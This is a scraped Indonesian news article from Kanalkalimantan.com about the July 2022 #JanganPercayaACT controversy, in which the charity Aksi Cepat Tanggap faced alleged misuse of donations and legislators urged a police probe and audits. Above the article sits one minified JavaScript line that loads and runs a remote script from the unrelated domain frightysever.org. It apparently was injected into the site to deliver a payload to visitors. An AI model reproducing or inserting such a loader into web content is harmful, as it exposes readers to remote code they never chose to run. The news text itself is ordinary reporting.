(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Ramai Tagar #JanganPercayaACT dan Topik ‘Aksi Cepat Tilep’, ACT Buka Suara


KANALKALIMANTAN.COM, JAKARTA– Jagad Twitter diramaikan tagar #JanganPercayaACT dan topik ‘Aksi Cepat Tilep’. Tagar tersebut ramai menyusul laporan majalah Tempo yang menurunkan laporan utama berjudul: ‘Kantong Bocor Dana Umat’ pada Senin (4/7/2022).

Gara-gara itu, Aksi Cepat Tanggap (ACT) tengah disorot publik dan menjadi perbincangan di media sosial soal isu gaji petingginya mencapai ratusan juta rupiah dan mendapatkan sejumlah fasilitas mewah, serta disebut memotong duit donasi.

Menyikapi hal tersebut, Manajemen ACT menyatakan tengah membahas mengenai langkah terbaik berkaitan dengan pemberitaan Majalah Tempo.

“Saat ini Management ACT sedang membahas dan mempersiapkan penanganan terbaik terkait pemberitaan media (Tempo),” kata Head of Public Relation ACT, Clara, seperti dilansir detik.com.

 

Baca juga  : Imam Besar Masjid Istiqlal: Narasi Intoleran Kerab Terjadi di Mimbar-Mimbar Keagamaan

ACT memastikan saat ini pihaknya masih menjalankan amanah memberikan dana ke 59 juta penerima manfaat. Clara turut menyinggung perihal ujian di tengah tahun politik.

“Mohon doa tulus teman-teman sekalian agar kami dapat senantiasa mengelola amanah secara profesional, di tengah banyaknya ujian yang sedang dihadapi lembaga di tahun-tahun politik saat ini,” kata Clara.

Clara menegaskan saat ini ACT masih bekerja dan menyalurkan amanah donasi di 34 provinsi Indonesia. “Sampai saat ini bersama teman-teman, kami bisa menunaikan amanah yang menjangkau 34 provinsi, dan 47 negara dengan lebih dari 59 juta penerima manfaat,” ujar Clara.

Sementara menyikapi hal tersebut, Wakil Ketua Komisi VIII DPR Marwan Dasopang meminta polisi mengusut masalah ini.

 

Baca juga : Bermain Air Lepas Banjir, Seorang Bocah Tenggelam di Sungai Jalan Makmur

“Sekarang dengan begini supaya pihak aparat keamanan untuk lakukan penyelidikan dan bahkan kalau perlu ini dijadikan sebagai tindak pidana yang perlu dihukum,” katanya.

Marwan mengatakan harus ada izin pengelolaan dana yang dikumpulkan suatu lembaga untuk kegiatan kemanusiaan dan keagamaan. Kementerian Sosial (Kemensos), kata Marwan, harus diikutsertakan dalam pengelolaan dana bantuan tersebut.

“Kita sudah bolak balik mengingatkan ke berbagai pihak termasuk Kementerian Agama dan Kementerian Sosial tentang kelompok atau lembaga yang melakukan pengumpulan dana itu kan harus ada seizin Kemensos sebetulnya,” ujar Marwan.

Untuk mengantisipasi adanya penyelewengan dana, Marwan juga meminta untuk dilakukan audit kepada lembaga-lembaga yang melakukan pengelolaan dana umat. “Yang kedua, harus ada audit terhadap perjalanan yang dilakukan oleh lembaga-lembaga. Bukan hanya ACT ya,” kata Marwan.

 

Baca juga  : 10 Titik Jalan di Banjarmasin Dikepung Air, Perkuliahan hingga Demo Mahasiswa Dibatalkan

Sementara itu, anggota Komisi VIII DPR Fraksi PKB Luqman Hakim meminta aparat kepolisian turun tangan. Menurutnya, pengusutan dilakukan agar tidak ada penyelewengan dana umat di lembaga lain.

“Polisi perlu melakukan langkah-langkah hukum untuk membuka tabir dugaan penyelewengan dana bantuan bencana yang dikumpulkan dari masyarakat oleh ACT,” ujar Luqman.

“Proses hukum ini penting agar menjadi pelajaran bagi lembaga-lembaga filantropi lainnya sehingga tidak melakukan tindakan kejahatan yang sama. Bila benar terjadi penyelewengan, menurut saya, pimpinan ACT harus dijatuhi hukuman pidana, karena telah merugikan masyarakat banyak,” tambahnya.

Lebih lanjut, Luqman berharap pemerintah menyempurnakan regulasi untuk mengatur lembaga-lembaga filantropi. Hal itu, katanya, dilakukan agar ada pertanggungjawaban atas pengelolaan dana yang telah dikumpulkan.

 

Baca juga : Pasca Banjir di Kemuning Warga Bersihkan Rumah dan Siring

“Kasus ACT ini, saya harap juga menjadi momentum bagi pemerintah untuk menyempurnakan regulasi-regulasi yang mengatur lembaga-lembaga filantropi. Sehingga, ke depan, tidak mudah bagi pihak-pihak mengumpulkan dana masyarakat atas nama bencana dan kemanusiaan tanpa mekanisme pertanggungjawaban yang jelas,” imbuhnya. (Kanalkalimantan.com/kk/dtc)

Reporter : kk/dtc
Editor : cell


Desy Arfianty

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

9 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

9 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

10 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

14 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

16 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

16 jam ago

This website uses cookies.